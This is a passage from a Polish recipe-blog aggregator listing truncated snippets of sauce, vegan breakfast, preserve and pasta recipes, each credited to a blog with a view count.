owsiano -jaglane naleśniki z domowym kremem czekoladowym z ciecierzycy  i wegańskim sosem czekoladowym ~ Wczoraj pierwsze wegańskie kluski - dzisiaj pierwsze wegańskie naleśniki... :) Trochę stresu przy patelni było, ale jak widać wyszły "względnie udane" :) Za to w smaku były o wiele lepsze niż w wyglądzie! :) PRZEPIS /1 porcja/ ~50g mąki owsianej BIO Fresano ~łyżka mąki jaglanej

breakfast of dreams
Pieczony marlin z sosem béarnaise 198

Jest to danie kuchni francuskiej. Marlin jest rybą bardzo delikatną i bardzo smaczną, dlatego polecam gorąco. Przepis kuchni francuskiej z ulotki Biedronki. Pieczony marlin z sosem béarnaise. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
.1111. musiałam 204

dyniowo-waniliowe budyniowe kluski kładzione na mleku sojowym z cynamonem, figą i wegańskim sosem czekoladowym ~ Jaki fajny numerek posta! :)) Ostatnio tyle osób kusiło mnie różnymi kluskami, że musiałam je w końcu zrobić... To moje pierwsze w wegańskiej wersji i były bardzo dobre, jednak muszę jeszcze trochę popracować nad przepisem, żeby były bardziej zwarte...Być może trzeba zrobić jeszcze gęstsze ciasto

breakfast of dreams
.1109. trochę lata, trochę jesieni 181

dyniowy krem jaglany z malinami (również w środku) i wegańskim sosem czekoladowym ~ Jakiś czas temu dostałam propozycję współpracy z Kuchniami Świata . Sklep oferuje na prawdę bogatą ofertę produktów spożywczych z każdego zakątka ziemi wiec długo się nie wahałam i z chęcią przystąpiłam do współpracy. Wczoraj przyszła do mnie paczka z produktami - były to ajvar (ostry) , łupina babki jajowatej , papryka wędzona

breakfast of dreams
Boczek chrupiący 5 smaków 251

Niedawno trafiła na naszą półkę (czy raczej na mnóstwo półek) książka o kuchni karaibskiej „The Pepperpot Club„. Pięknie wydana i zilustrowana. I oczywiście z

slodkokwasnapl
Pulled pork czyli następca hamburgera 335

Wpis pochodzi z www.mgotuje.pl Pulled porkt czyli rwana, grillowana wieprzowina długo pieczona. Podana w brioszce z dodatkiem sosu barbecue z surówką z kapusty. To amerykański grillowany klasyk, który stał się ostatnio modny, nie bez powodu ponieważ jest nieziemsko pyszny. Zachęcam Panie do przygotowania tego dania dla swoich mężczyzn, będą wniebowzięci :-). PS: Przygotujcie składniki

Marta Gotuje
Klopsiki indycze w sosie pieczarkowym 191

Dziś mam dla Was przepis archiwalny ale warty uwagi. Daniem na dziś są indycze klopsiki w sosie pieczarkowym. Oczywiście możecie dać świeże grzyby ale uważam, że pieczarki lepiej się tu sprawdzą. Takie klopsiki możecie podać z makaronem, ziemniakami a nawet ryżem. Wszystko zależy od Was i Waszych preferencji smakowych. Rozwiń i czytaj przepis

Ewa w kuchni
Sos z podgrzybków 156

było a i noce są coraz chłodniejsze, więc raczej sezon grzybowy choć późny będzie zmierzał ku końcowi. Ale trochę grzybów nasuszyłam, zamroziłam blanszowane więc dodatkowo zrobiłam dziś pyszny sos do makaronu. Danie proste a jakie smaczne a co najważniejsze to z ulubionym makaronem mojego męża, bo straszny z Niego makaroniarz. Rozwiń i czytaj przepis

Ewa w kuchni
Jesienna potrawka z dynią, marchewką i fasolą 178

dynia. A w głowie pomyślałam: w sumie dlaczego nie brzoskwinia? Też by tutaj pasowała :) Zachęcam więc do zabawy w kuchni tym, na co akurat jest sezon. Do takiego klasycznego sosu z mięsem mielonym można dodać właśnie dynię, fasolę, dobrze komponowałaby się również papryka, cukinia czy bakłażan. Nie trzeba podawać z makaronem. Polecam wszelkie kasze. Ja pod warstwą tej potrawki ukryłam

bistro mama
.1099. tofu i dynia 165

dyniowo-kokosowe tofurniki z malinami i wegańskim sosem czekoladowym ~ W końcu weekend ♥ Potrzebowałam tego...Po tym tygodniu byłam tak wyczerpana psychicznie i fizycznie, że nawet wczoraj piłam kawę (po której czułam się jeszcze gorzej, nevermind), a gdy juz jakiś cudem udało mi się dojść do domu rzuciłam się na łóżko i przez 40 minut tak leżałam... Wstawać

breakfast of dreams
.1097. omlety na okrągło 203

dyniowy omlet ze śliwkami, wegańskim sosem czekoladowym i pestkami dyni prażonymi z ksylitolem i cynamonem ~ Najgrubszy z wegańskich omletów jakie kiedykolwiek zrobiłam ♥♥♥ I w zasadzie trzeci omlet z kolei :D Ale co poradzę, że je uwielbiam, a są stosunkowo szybkim i wygodnym śniadaniem :) Jakoś udało mi się przeżyć wczorajszy dzień...Jedną kartkówkę nauczycielka odwołała - z okazji Dnia Chłopaka. Stety-niestety

breakfast of dreams
Restauracja Ale wino - Warszawa 228

boczek jaki jedliśmy! Idealny! Mięso rozpływało się w ustach! Tego smaku nie możemy zapomnieć! Dla kontrastu wybraliśmy dorsza - był bardzo dobry - idealnie przyrządzony, z puree ziemniaczanym, chrupiącymi warzywami i sosem z masłem rakowym! Nic dodać nic ująć! I pewnie gdyby nie ten boczek można byłoby się rozpływać nad tymi smakami, ale boczek przyćmił wszystko! Alewino.pl będzie miejscem, do którego będziemy

Plate of Joy
.1095. słońce z nektarynki 173

omlet z mąki z ciecierzycy z nektarynką i wegańskim sosem czekoladowym

breakfast of dreams
Pudding dyniowy na dodanie sił. 199

Dyniowy pudding chlebowy*,  z malinami i sosem daktyle-tahini *z domowej chałki dyniowej jeszcze tej ocalonej :D Dzisiaj w końcu leniwiej, bo okulista w południe, bo miło jednak było ..pójść spać.. no i zbieram siły na następny weekend

More food, love and dreams
.1092. niewypał 168

dyniowa kasza gryczana (niepalona) z granatem (również w środku) i wegańskim sosem czekoladowym ~ Wczoraj na wernisażu było świetnie, chyba dawno nie usłyszałam tyle pozytywnych opinii o moich pracach :) Jakie to miłe, kurcze :) To jest cudowne uczucie - gdy ktoś wie co chciałeś przekazać w swoich fotografiach, umie je odczytać, a nie tylko powiedzieć "ładne"... Zjadłam śniadanie i poszłam do szkoły

breakfast of dreams
Idealny sos do wszystkiego - pitos 147

Przepis na ten sos dostałam od Pani Ewy z pracy. Miał fantastycznie smakować zapiekany ze schabem, jednak ja fanką schabowych nie jestem i dla mnie lepszy był z polędwiczką czy z samym ryżem. Jest genialny, dlatego musicie koniecznie go zrobić. Składniki : * kg pieczarek * 2 czerwone papryki * 5 średnich cebul * przecier pomidorowy * ketchup pikantny * kostka masła * chili, pieprz i sól * 250ml

Magiczne Życie Marty
Chutney z dyni i śliwek 207

liście kafiru i laskę cynamonu. Przełożyć chutney do słoików. Szczelnie je zamknąć. Pasteryzować ok. kwadransa od momentu zawrzenia wody w garnku ze słoikami ułożonymi np. na ściereczce kuchennej. ----------- Podobne: Sos imbirowo-śliwkowy Ketchup z cukinii Ogórki z papryką i imbirem

Weekendy w domu i ogrodzie
Jak zrobić szybką sałatkę do pracy ? Lunch do pracy ! 453

wlewam musztardę, miód, oliwę i ciepłą wodę. Dokładnie mieszam i gotowe.  Pakuje słoiczek do pojemnika i gotowe ! A w pracy wyciągam pojemnik, z pojemnika słoiczek, odkręcam pokrywkę polewam sosem sałatkę, mieszam i gotowe.  Rano całość zajmuje mi 5 minut. Naprawdę !    Ostatnio zamiast kurczaka miałam – ser pleśniowy, kawałek kabanosa czyli tak naprawdę to co pod ręką

Kuchnia na wzgórzu
.1088. zielony budyń 151

budyń waniliowy na mleku ryżowym z dodatkiem zielonej herbaty matcha, podany z figą i wegańskim sosem czekoladowym ~ Zielony to kolor nadziei...A ja mam nadzieję, że następne 4 dni będą dobre, bo w szkole zapowiada się ciężko, kolejny tydzień w którym codziennie mamy sprawdzian/kartkówkę czy inną formą "sprawdzenia naszej wiedzy"... :( ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Zapraszam na nowego wegańskiego bloga JEDZ ROŚLINY Jeśli jeszcze

breakfast of dreams
.1086. słodka jaglanka 160

cynamonowa kasza jaglana na mleku ryżowym z tartym jabłkiem (w środku) podana z wegańskim sosem czekoladowym ~ Wczoraj na FanPage Breakfast of Dreams   stuknęło... 700 like'ów!  Dla mnie jest już bardzo pokaźna liczba, dziękuję! Dziękuję, że ze mną jesteście, odwiedzacie bloga...Nie ma nic lepszego niż uczucie, że to co się robi podoba się i innym

breakfast of dreams
.1085. bułeczki na sobotę 214

bułeczki" dyniowe podane z domowym dżemem borówkowym i wegańskim sosem czekoladowym ~ Mamy weekend! Jednak ja zbytnio nie odpocznę :( Cały mam już zaplanowany i niestety prawie wcale nie ma miejsca na odpoczynek... Dziękuję za wczorajsze komentarze :) Jedna osoba napisała coś do czego treści odniosę się w tym poście, a nie w samej odpowiedzi pod poprzednim postem, bo uważam, że to ważny

breakfast of dreams
SOS POMIDOROWY 290

Pogórza Wiśnickiego przyjechały do mnie pomidory. Dużooo pomidorów – soczystych, czerwonych, pachnących jak nie wiem co… Zatrzymuję więc kolor i zapach na później i wrzucam na tapetę temat sosu pomidorowego. Uniwersalny… Czytaj dalej

Mam To Na Widelcu
Wątróbka duszona z cebulą, czosnkiem, chilli i z sokiem cytrynowym 200

około 5 minut. Dodajemy szklankę wody. Dusimy około 15minut. Przyprawiamy solą, pieprzem, chili, magą oraz łyżką soku z cytryny. Można podawać z ziemniakami, z purée lub świeżym pieczywem - polewając sosem. No mniam

upichcona
PAPPARDELLE Z DYNIĄ I PARMEZANEM W SOSIE MAŚLANYM 159

roku będzie całe multum ;) Na pierwszy ogień zaraz po cieście idzie mój ulubiony pomysł na makaron – Pappardelle ( makaron wstążki – ja robię ręcznie :) ) z dynią w maślanym sosie z dodatkiem parmezanu i świeżej pietruszki. Danie idealne na obiad albo randkę! Radzę zrobić więcej, bo zwykle każdy sięga po dokładkę ;) PS. Jeśli nie macie, albo nie chce Wam się robić

Ostra na Słodko
Kurczak w sosie chrzanowym 276

drobną kostkę oraz czosnek. Smażymy na małym ogniu około 4 minuty tak aby mięso się ścieło. Dodajemy śmietanę oraz chrzan. Trzymamy wszystko na ogniu na tyle długo, by sos się zredukował i zgęstniał. Na koniec doprawiamy do smaku i dodajemy posiekaną natkę pietruszki Uwagi Można podawać z kaszą, makaronem, ziemniakami bądź ryżem. Dowolność, co kto lubi

Mr. Taste
domowy ajwar 182

warzywa, doprawiamy niewielką ilością octu winnego i jeszcze gotujący się ajwar, przekładamy do słoików. Szczelnie zamykamy nakrętki i odstawiamy słoje do góry dnem, do wystygnięcia. Na drugi dzień, nasz sos jest gotowy, zaś tak zamknięte słoje, możemy przechowywać przez co najmniej

Miód i pieprz
Spaghetti ala bolognese z fasolką szparagową 191

smaku pieprzem, papryką słodką i ostrą. Dodajemy pokrojoną fasolkę, mieszamy. Chwile podduszamy.  Makaron spaghetti gotujemy w osolonej wodzie al dente, odcedzamy.  Na talerze przekładamy makaron, nakładamy mięsny sos z fasolką szparagową, oprószamy posiekaną natka pietruszki. Smacznego

Kulinarny Świat Konczi i Szpileczki
Pesto z jarmużu i orzechów cashew 179

Dzisiaj zrobiłam kolejną porcję domowego pesto jak się domyślacie, z jarmużu. Pesto z jarmużu należy do moich ulubionych. Jest delikatne w smaku, można dodawać je do makaronu, używać jako sosu lub na kanapki czy pizzę…you name it. Polecam pesto z jarmużu i orzechów cashew. Słodki smak orzechów świetnie harmonizuje z jarmużem. Użyłam też pieczonego czosnku, który jest delikatniejszy

codojedzenia
Całe pomidory w słoiku 255

pół litra wody z połową łyżeczki soli. Zalej pomidory, tak aby wszystkie się schowały pod wodą. Zakręć pokrywką i pasteryzuj 10-15 minut. Przetwór na zimę gotowy, idealne do sosów, zup i sals. SMACZNEGO. CMOK

Pasje Jolki
No i klops! Prosto z Kalifornii 334

mielonego mięsa, które przypominają polskie klopsy, znane również pod nazwą pulpetów. Jestem wielkim miłośnikiem wszelkiego rodzaju meatballs. Postanowiłam stworzyć własną wersję, nieco inspirowaną włoskimi smakami. Są bez żadnego sosu, lekkie, aromatyczne, podane z warzywami a nie makaronem… Polecam serdecznie! Klopsy a’la Food Polka Składniki (na 4 osoby): 25 kg mielonej wołowiny 1/2 kg mielonej wieprzowiny 8 świeżych

Jem więc Jestem
Odkrycie wakacji, mąka gryczana. 183

Bananowe (biszkoptowe) gryczane placki;  z sosem karmelowym i malinami  Mąka gryczana to moje odkrycie ostatnich czasów :D a wieczorem moja kuchnia zamienia się wytwórnię przecieru pomidorowego, hyhyh

More food, love and dreams
Potrawka warzywna z woka 231

też raczej obeżre w weekend, że potrzebuje czegoś lekkiego na start tygodnia. I tu idealnie wpasowuje się przepis na potrawkę z warzyw. To co nam potrzebne to warzywa, trochę sosu rybnego, chili i sól … Czytaj dalej

slodkokwasnapl
Sos majonezowy z ogórkiem i cebulą 157

łyżeczki cukru, 4 ogórki konserwowe, pół cebuli, szczypta soli, pieprz. Sposób przygotowania: Ogórki i cebulę kroimy w drobną kosteczkę. W miseczce mieszamy majonez, ketchup i ocet winny. Do sosu dodajemy cebulę i ogórki. Doprawiamy cukrem, solą i pieprzem

Pobite gary Barbary
Penne alla puttanesca 228

tuńczyka razem z olejem również chwile grzejąc go na patelni, a na sam koniec dodajemy pomidory. Makaron należy ugotować al dente gdyż później dodajemy go na patenie z naszym sosem. Smacznego

Full Smaku
Sos kurkowy z ziemniakami i koperkiem 191

duś dodatkowe 10 min, mieszaj co chwilę. Po 5 minutach pod przykryciem dodaj śmietanę i duś jeszcze 5 minut.Odcedź ziemniaki, posyp koperkiem drobno posiekanym. Koper dodaj też do sosu. Pokrój pomidora na kilka części. Teraz wszystko wyłóż na talerze i SMACZNEGO >CMOK

Pasje Jolki
BONDA – indyjskie pączki ziemniaczane + chutney pomidorowy 188

mąkę – mieszamy aż powstanie gładkie ciasto. Każdy pączek obtaczamy w cieście i smażymy na rumiano na mocno rozgrzanym oleju. Odsączamy na papierowym ręczniku i podajemy gorące z przygotowanym sosem. CHUTNEJ POMIDOROWY SKŁADNIKI: * pomidory – 250 g * czosnek – 2 ząbki * imbir, ostra papryka, kumin, gorczyca, – po 1 dużej szczypcie * ocet winny – 80 ml * woda

Ostra na Słodko
Rewelacyjny – SOS CZOSNKOWY 178

Sos ten króluje u mnie od lat. Stał się niezbędny do mięs z grilla, sałatek, surówek, bułek, pizzy i innych potraw. Jeżeli macie swoją” druga połowę”, warto pamiętać o tym aby spożywać czosnek razem, wówczas unikniecie sytuacji, że tej drugiej osobie będzie przeszkadzał zapach. Składniki: 3 spore łyżki majonezu 3 spore łyżki gęstego jogurtu naturalnego ¼ łyżeczki cukru ½ łyżeczki soli ¼ łyżeczki

Smaki Ewy
Kładzione kluski 171

gotującej, osolonej wody z dodatkiem oleju, łyżką kładziemy ciasto ( przechylamy miskę i spychamy kawałki ciasta do gotującej wody ). Kluski gotujemy tylko chwilę. Najlepiej smakują podane do dań mięsnych z sosami. A do gęsi czy kaczki to już rewelacja. SMACZNEGO

Smaki Ewy
Budyń marchewkowy. 168

Marchewkowy budyń kukurydziany;  z malinami i dom. sosem karmelowym  Miło jest Ci na sercu kiedy wiesz, że ludzie Ci ufają. Mimo, że nie umiesz pomóc inaczej jak tylko słuchając i dać ramię do oparcia. Ale to też pomaga, mimo wszystko.  Ps. Uzupełniłam ostatnie wpisy o przepisy o które prosiliście, oraz zakładkę przepisy :) Przepis: 2 ugotowane marchewki (ok.150g

More food, love and dreams
Zapiekanka makaronowa ze szpinakiem 247

Zapiekanki, któż ich nie lubi? Wystarczy do naczynia do zapiekania włożyć ulubione półprodukty, zalać ciekawym smakowo sosem i do piekarnika. Po około godzinie mamy pyszny obiad. Wiem powiecie że teraz za gorąco, ale upały kiedyś się skończą a obiady jadać trzeba zawsze. Polecam gorąco. Zapiekanka makaronowa ze szpinakiem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Dressing na bazie oleju pistacjowego i tymianku 198

Dressingi to podstawa każdej sałatki a jak sos jest aromatyczny i smakowy to sałatka od razu nabiera wartości smakowych. Dziś przestawiam moją propozycje takiego dressingu. Ten akurat wyśmienicie smakuje z rukwią wodną, połączenie idealne. Dressing na bazie oleju pistacjowego i tymianku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sos tatarski z kaparami 269

Pyszny i niezastąpiony sos tatarski z kaparami. Idealnie komponuje się z różnego rodzaju mięsami i daniami z grilla, którym nadaje oryginalnego smaku. Pasuje również do jajek, ryb lub kanapek. Polecam Składniki: 100 g korniszonów 30 g kaparów 5 łyżek majonezu 1 łyżka gęstej, kwaśnej śmietany 18% 2 łyżki posiekanego koperku 2 łyżki posiekanej natki pietruszki szczypta cukru sól pieprz Przygotowanie

Oryginalny smak
Pieczone ziemniaki z tzatzikami z ogórków kiszonych 479

się szczerze, że jakiś czas temu Ktoś na FB podlinkował film. Kto? Nie jestem w stanie sobie przypomnieć, tak samo autora filmu. Mój tylko jest dobór ziół, no i sos

Kraina Miodem Płynąca
Wakacyjna sałatka 226

zawsze gdzieś tam sobie rosną , jak nie u nas , to u sąsiada . Taka szybciutka , zastępująca obiadek sałatka . Składniki : 1 puszka kukurydzy 1 puszka fasolki czerwonej 1 puszka tuńczyka w sosie własnym 4 jajka ugotowane na twardo 4 ogórki konserwowe 1 pęczek natki pietruszki 1 szklanka makaronu drobniutkie muszelki lub inny maluszek 1 łyżka majonezu – taka z czubem 1 łyżka

Ogrodnik w podróży
Ketchup z cukinii 221

momentu zagotowania). Gorącą masę wlewać do słoików i zakręcać. Odstawić, by powoli stygły. Przechowywać w chłodnym i ciemnym miejscu.   ----------- Podobne: Ogórki z chili Konfitura z czerwonej cebuli Wiosenny sos-sałatka

Weekendy w domu i ogrodzie
Kurczak curry w mleczku kokosowym 437

kokosowym i pomidorach smakuje pysznie. Danie przygotowałam z produktów z azjatyckiego tygodnia w  Lidl . W sklepie możecie znaleźć m.in mleczko kokosowe, pastę curry, różne sosy, makarony sojowe, chlebek naan i wiele innych produktów. Zapraszam na zakupy oraz na wypróbowanie przepisu Post Kurczak curry w mleczku kokosowym pojawił się poraz pierwszy w Marta

Marta Gotuje
Chutney z czerwonych porzeczek 252

pół łyżeczki chili cebula sól i pieprz Cebulę drobno pokroić.  W garnku połączyć porzeczki, cebulę, cukier, ocet, wino i przyprawy.  Doprowadzić do wrzenia i gotować do zagęszczenia sosu. Chutney przelewamy do wyparzonych słoiczków, zakręcamy i pasteryzujemy 10min. Przechowujemy w chłodnym, zaciemnionym miejscu. Idealny dodatek do grillowanego sera camembert, pasztetów, mięs, domowych wędlin, serów. Zastępuje żurawinę do mięs

Atlas Smaków
Kurczak w sosie z kurkami i tymiankiem 206

prośbę dalszych i bliższych znajomych umieszczam przepis na jeden z moich ostatnich obiadów - kurczaka w sosie kurkowym z dodatkiem świeżego tymianku. pół świeżego pęczka tymianku 200 ml śmietany 30% 20 dag kurków 50 dag piersi z kurczaka biały pieprz sól oliwa z oliwek  3-4 łyżki masła kus-kus Piersi z kurczaka umyć, pokroić na plastry, doprawić solą

Humanistka w kuchni
Burgery z kaszy jaglanej i marchewki 211

startej marchewki - 2 szklanki ugotowanej kaszy jaglanej* - 1/2 szklanki słonecznika** - 1/4 szklanki sezamu** - 1/4 szklanki siemienia lnianego** - 1 cebula - 1/3 szklanki bułki tartej - 1/4 szklanki oleju rzepakowego - 2 łyżki sosu sojowego  - 1 łyżka oleju sezamowego (opcjonalnie) - 1 łyżeczka czosnku granulowanego, 1 łyżka bazylii suszonej, 1 łyżka papryki słodkiej, 1 łyżeczka papryki ostrej - sól, pieprz do smaku Cebulę pokrój

Corner With Recipes
Pulpety w sosie pomidorowym 175

posiekaną natkę pietruszki. Całość dokładnie wyrobić, dodać ubitą pianę i formować pulpety. Gotować w osolonej wodzie około 15 minut z dodatkiem ziela angielskiego, następnie dodać przecier z rozgotowanych pomidorów. Sos zagęścić mąką rozmieszaną z mlekiem, zagotować i podawać do obiadu

Tradycyjna Kuchnia
Szparagi pod serowym beszamelem :) MNIAM! 162

Szparagi dobrze opłukać, odłamać twarde końcówki i gotować ok. 10 minut w wodzie z solą i cukrem. Wyciągnąć szparagi z garnka i wyłożyć do foremki, polać je przygotowanym wcześniej sosem i zapiec w temperaturze 180*C przez ok 15-20 minut

The Sweet Damsel
Schab w sosie koperkowym 155

Podsmażyć mięso z obu stron, do momentu aż zrobi się białe. Przełożyć je do rondelka z gorącą wodą (wody nie musi być dużo, dodajemy jej tyle ile chcemy mieć sosu). Na patelni na której smażyliśmy mięso należy teraz podsmażyć cebulkę, którą użyliśmy do przełożenia mięsa. Dodajemy do cebulki trochę wody i jeszcze chwilkę podsmażamy często mieszając. Zawartość patelni dodajemy

The Sweet Damsel
Shoarma z kurczaka 313

mięso natrzeć, wcześniej przygotowaną marynatą i odstawić na ok godzinkę. Następnie smażymy mięso na teflonowej patelni bez dodatkowego tłuszczu. Można podawać z ryżem, frytkami, chlebkiem pita lub pieczonymi ziemniaczkami. Sos: ok 200-300 g jogurtu greckiego' 2 ząbki czosnku troszkę świeżej drobno posiekanej natki pietruszki (może być suszona) sól i pieprz Do jogurtu dodać przeciśnięty przez praskę czosnek, natkę pietruszki

The Sweet Damsel
Spaghetti bezglutenowe 253

puszki. Następnie dodać cukier, czosnek przeciśnięty przez praskę, suszoną bazylię oraz natkę pietruszki. Pod koniec doprawić solą i pieprzem. Gotować ok 20 minut mieszając co jakiś czas. Makaron polać sosem i posypać startym parmezanem. Smacznego

The Sweet Damsel
Sałatka do grilla z zieloną sałatą i oliwkami - przepis 197

ciemnieje) Kroimy drobno cebulkę, pomidora i ogórka w kosteczkę, a oliwki na pół i wrzucamy na sałatę Majonez i śmietanę mieszamy z musztardą, pokrojonym koperkiem i przyprawami Sałatę polewamy sosem przed samym podaniem Sałatka do grilla z zieloną sałatą i oliwkami Bon appetit :) Podziel się tym przepisem ze znajomymi

Pyza i Surówka
Pomidory w sosie własnym 200

Krojone pomidory takie jak z puszki można użyć  Do  zup ,sosów ,farszów lub spaghetti   Składniki - pomidory mięsiste  Sposób przygotowania - Pomidory sparzyć obrać ze skórki usunąć pestki  -  Pokroić na małe kawałki zostawić w misce co jakiś czas przemieszać  aby puściły sok  - Przekładać do wyparzonych słoików pasteryzować 40 minut

W królestwie smaków Beaty
Polędwiczka Wieprzowa w Cieście Francuskim z ogórkową sałatką 277

sałatkę- ogórki obieramy, kroimy w plasterki, solimy, pomidorki suszone kroimy w ćwiarteczki, odlewamy wodę z ogórków, dorzucamy pomidorki, jogurt mieszamy z 2-3 łyżeczkami zalewy pozostałej po suszonych pomidorach. Sos dolewamy do sałatki Polędwiczkę prosto z lodówki wstawiamy do gorącego piekarnika na około 20- 25 minut, w zależności od jej wielkości, pieczemy aż ciasto nabierze rumińców SMACZNEGO

Luźna Kuchnia
Sos czosnkowy. 167

wszystkich mięs grillowanych, warzyw, pieczonych ziemniaków ten kremowy, aromatyczny sos jest po prostu rewelacyjny. SKŁADNIKI: 3-4 ząbki czosnku 1 mały jogurt naturalny 3-4 łyżki majonezu ulubione zioła: szczypiorek, koperek, bazylia... odrobina cukru sól, pieprz WYKONANIE: W miseczce wymieszać jogurt z majonezem, konsystencja powinna być półpłynna, następnie dodajemy czosnek przeciśnięty przez praskę, dodajemy 1/2 łyżeczki cukru, zioła i mieszamy

Kuchnia Beaty
BARWENA W SOSIE SŁODKO – KWAŚNYM Z POMIDORAMI 237

grzbiet jest niemal purpurowy ). Jest rybą niezwykle smaczną,o czym ja się przekonałam i mam nadzieję , że i Wy się przekonacie! Mam dla Was fantastyczny przepis na barwenę w sosie słodko – kwaśnym. Z dodatkiem pomidorów , szalotki oraz czosnku. Tak przyrządzona jest fantastycznym pomysłem nie tylko na piątkowy obiad. Spróbujcie!   SKŁADNIKI: ( 2 porcje ) * filet z barweny ze skórą

Ostra na Słodko
domowy sos tzatziki 202

składniki: 150 g ogórka gruntowego 250 ml gęstego jogurtu naturalnego 2 ząbki czosnku 1/2 pęczka świeżego koperku 1 łyżeczka soku z cytryny sól, pieprz wykonanie: Ogórka

Domowy Smak Jedzenia
Sos Winegret. 148

Winegret to połączenie octu, musztardy  i oliwy. Aby ten sałatkowy sos smakował tak, jak nam odpowiada musimy wzbogacić go ulubionymi ziołami. Ocet i oliwa muszą być najwyższej jakości np. ocet winny i oliwa z oliwek extra virgin. SKŁADNIKI: 2 łyżki octu winnego 4 łyżki musztardy (najlepiej Dijon lub innej ostrej) 6 łyżek oliwy z oliwek posiekane ulubione zioła: bazylia

Kuchnia Beaty
Placuszki z brokuła 217

placuszki. Na słodko, na słono i wytrwanie i czekoladowo, placuszki można zrobić praktycznie ze wszystkim i ze wszystkiego, oby tylko było pysznie. Dziś zapraszam na placuszki z brokuła z sosem czosnkowo - ziołowym . ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sos paprykowy 126

odrobiną oliwy ,grillować aż zmięknie. Obrać ze skórek ,wrzucić do rondelka ,wlać bulion i dusić ok 30 min ,po czym ostudzić i zmiksować. Ponownie wstawić na płomień ,zredukować sos

R'n'G Kitchen
Sos koperkowy 149

żeby mąka się przyrumieniła. Ciągle mieszając ,powoli wlać bulion i gotować 5 min. Wsypać umyty i posiekany koperek i gotować jeszcze 2 min. Śmietanę wymieszać z kilkoma łyżkami sosu i wlać do reszty. Doprawić do smaku solą ,cukrem ,pieprzem oraz sokiem z cytryny. Zagotować ,zdjąć z ognia

R'n'G Kitchen
Sos paprykowy z szalotką 186

Aromatyczny sos z żółtych papryk pasuje do dań mięsnych oraz rybnych. Składniki 2 szalotki 2 żółte papryki pół łyżeczki cukru brązowego 1/8 l rosołu drobiowego szczypta pieprzu kajeńskiego 2 łyżki śmietany 18 % sól Przygotowanie Szalotki drobno pokroiłem w kostkę. Strąki papryki umyłem, przekroiłem wzdłuż i drobno posiekałem. Poddusiłem na małym ogniu razem z szalotką i cukrem. Rozprowadziłem śmietaną i bulionem

R'n'G Kitchen
Zdrowszy sos czekoladowy. 191

Makaron spaghetti z kakaowym sosem z awokado; malinami  Dobra po wymieszaniu nie wyglądało to tak uroczo(przed w sumie też) jak np. ten , ale było równie smaczne ^^ jednak wiecie, bo czas się kurczy, bo 5, bo pociąg nie czeka

More food, love and dreams
Pieczarki pieczone w sosie BBQ 217

lekko się przyrumienić... Na szczęście już po wszystkim i podniesienie ręki nie kończy się godzinnymi jękami ;) Idealnym lekiem na poparzenia słoneczne lub brak poparzeń (ogółem na wszystko) jest sos BBQ! A co do tego? Pieczarki! Jeśli

wegetalerze
Tarta ze śliwkami 240

Deser pyszny i robi się go bardzo szybko. Polecam serdecznie do zrobienia bo jest tego wart, lekko słodki z kwaskowatymi śliwkami. Sos karmelowy robiłam według przepisu tutaj [ klik ] Polecam gorąco i życzę smacznego. Tarta ze śliwkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Salsa z bakłażanów 190

Dziś kolejna propozycja salsy czyli sosu meksykańskiego. Tym razem salsa cudnie nadająca się do mięs i potraw z grilla ale możecie ją zajadać z czym dusza zapragnie. Jest lekka i aromatyczna, pyszna. Salsa z bakłażanów. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Białe szparagi zapiekane pod beszamelem 185

pęczki świeżych białych szparagów kilka plasterków ulubionej szynki  ( najlepsza jest parmeńska ) sos beszamelowy (przepis w poprzednim poście) Szparagi dokładnie obrać i odciąć zdrewniałe końcówki. Można je delikatnie obgotować w osolonej i posłodzonej wodzie. Szynkę pokroić w paski i owinąć nimi szparagi. Ułożyć w naczyniu żaroodpornym. Całość polać beszamelem. Włożyć do piekarnika nagrzanego do 190*C i piec około

Jemy Pijemy
Gulasz czeski zwyczajny 215

szaro-czarnym myślom. Coś ciepłego, coś czerwonego. Najpierw zapachem wypełni kuchnię, potem cały dom, wreszcie postawisz przed sobą miseczkę tego, co poprawi i nastrój, i aurę. Gęsty, aromatyczny sos z kruchymi kawałkami mięsa i boczku, w pięknym, ożywczym kolorze słodkiej papryki. I już wierzysz w moc zapachów i kolorów - taki nadzwyczajny, zwyczajny gulasz czeski. * przepis na  český guláš

Kuchnia Prezydentowej
Sos szpinakowy 169

Sos szpinakowy robiłam do placków ziemniaczanych. Równie dobrze nadaje się do makaronu i drobiu. Na pewno nie raz jeszcze go zrobię. Składniki: 250 g mrożonego szpinaku 200 g śmietany masło sól pieprz gałka muszkatołowa Wykonanie: Szpinak rozgrzać na maśle, doprawić solą, pieprzem, zmiażdżonym czosnkiem i gałką muszkatołową. Dusić przez około 10 minut. Dodać śmietanę i zagotować na małym ogniu

Mama Gotuje
Makaron w sosie śmietanowym z kurczakiem i szparagami 215

dodajemy gałkę muszkatołową i tymianek i mieszamy. Na końcu wlewamy śmietankę i chwilę wszystko dusimy. W między czasie gotujemy makaron w osolonej wodzie. Gotowy makaron wrzucamy stopniowo do naszego sosu, mieszamy i gotowe Smacznego

Kuchenne Wariacje
Makaron z cukinią, bakłażanem i suszonymi pomidorami 333

możemy zrobić niezliczoną ilość różnorodnych, pysznych potraw Danie powstało z składników sklepu Lidl Polska z tygodnia kuchni włoskiej. Mi osobiście najbardziej zasmakowały suszone pomidory czereśniowe i sos z pomidorów daktylowych. Co prawda tydzień włoski w Lidlu trwał do niedzieli, ale może zdążycie jeszcze dokupić kilka produktów. Serdecznie zapraszam do wypróbowania przepisu

Marta Gotuje
Sos boloński na zimę 243

Przerobiłam już prawie 50kg pomidorów i na tym nie koniec, bo ciągle pojawiają się nowe pomysły. Na półkach stoi już przecier pomidorowy, a wkrótce dołączy do niego zrobiony dziś sos boloński do spaghetti. Czytaj więcej

Wiem co jem
Sos do lasagne w słoikach 174

Cukinia wyjątkowo nam obrodziła w tym roku. Przerabiam ją na wszystkie możliwe sposoby. Nie mam niestety czasu by to wszystko opisać i tu dodać. Moim ostatnim produktem, jest sos pomidorowy z papryką, cukinią i cebulą, który świetnie się sprawdził do lasagne. Zrobiłam większą ilość i zapakowałam w słoiki. Zimą będzie jak znalazł. Dobrze się komponuje zarówno z wieprzowiną

Wiem co jem
Pesto z rukoli 188

